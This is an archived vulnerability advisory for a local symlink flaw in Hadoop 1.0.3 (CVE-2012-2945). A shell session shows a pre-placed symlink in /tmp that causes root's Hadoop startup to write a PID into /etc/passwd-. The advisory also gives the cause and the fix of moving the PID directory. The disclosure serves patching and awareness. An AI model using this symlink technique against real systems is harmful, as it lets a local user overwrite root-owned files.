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Hadoop 1.0.3 Symlink

Hadoop 1.0.3 Symlink
Posted Jun 30, 2012
Authored by Simon .

Hadoop version 1.0.3 suffers from a local privilege escalation symlink vulnerability.

tags | exploit, local
advisories | CVE-2012-2945
SHA-256 | 7f6cd0d9985fb43e4512064e577e4aab0f6f8459eb7920053453fd5bbb415dd7

Hadoop 1.0.3 Symlink

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Software       : hadoop-1.0.3
Vulnerability : Symlink
Problem type : local
CVE ID : CVE-2012-2945
Date : May 28, 2012
Affected : min May 08, 2012




Symptom:

$ echo $JAVA_HOME
/usr/lib/jvm/java-7-openjdk
$ file /tmp/hadoop-root-tasktracker.pid
/tmp/hadoop-root-tasktracker.pid: symbolic link to `/etc/passwd-'
$ sh bin/start-all.sh
starting namenode, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-namenode-t0.out
root@localhost's password:
localhost: starting datanode, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-datanode-t0.out
root@localhost's password:
localhost: starting secondarynamenode, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-secondarynamenode-t0.out
starting jobtracker, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-jobtracker-t0.out
root@localhost's password:
localhost: starting tasktracker, logging to
/home/cloudopfer/src/hadoop-1.0.3/libexec/../logs/hadoop-root-tasktracker-t0.out
$ tail -1 /etc/passwd-
10544

Problem:

$ grep tmp src/hadoop-1.0.3/conf/hadoop-env.sh
# The directory where pid files are stored. /tmp by default.

as pointed out by CVE Team:
"Incidentally, it seems that in Hadoop 1.x, only the
HADOOP_PID_DIR setting is affected, but in Hadoop 2.x, both the
HADOOP_PID_DIR and HADOOP_SECURE_DN_PID_DIR settings might be
affected:

http://svn.apache.org/repos/asf/hadoop/common/branches/branch-2/hadoop-common-project/hadoop-common/src/main/conf/hadoop-env.sh

# The directory where pid files are stored. /tmp by default.
export HADOOP_PID_DIR=${HADOOP_PID_DIR}
export HADOOP_SECURE_DN_PID_DIR=${HADOOP_PID_DIR}
"


Solution:

Hadoop Cloud Specialists (lol) should edit conf/hadoop-env and change
the pid file directory to something sane.

Impact:

Low

Timeline:

May 25 - got drunk
May 26 - got drunk
May 27 - MARK -
May 28 - playing around with hadoop
- notified security@
- got reply, clarified things
Jul 01 - get rid of this ;)


Greetings:

To CVE Team!
To srm, Dude!
To the usual suspects
To those, who trust me.
To all who stay real.

Simon
.


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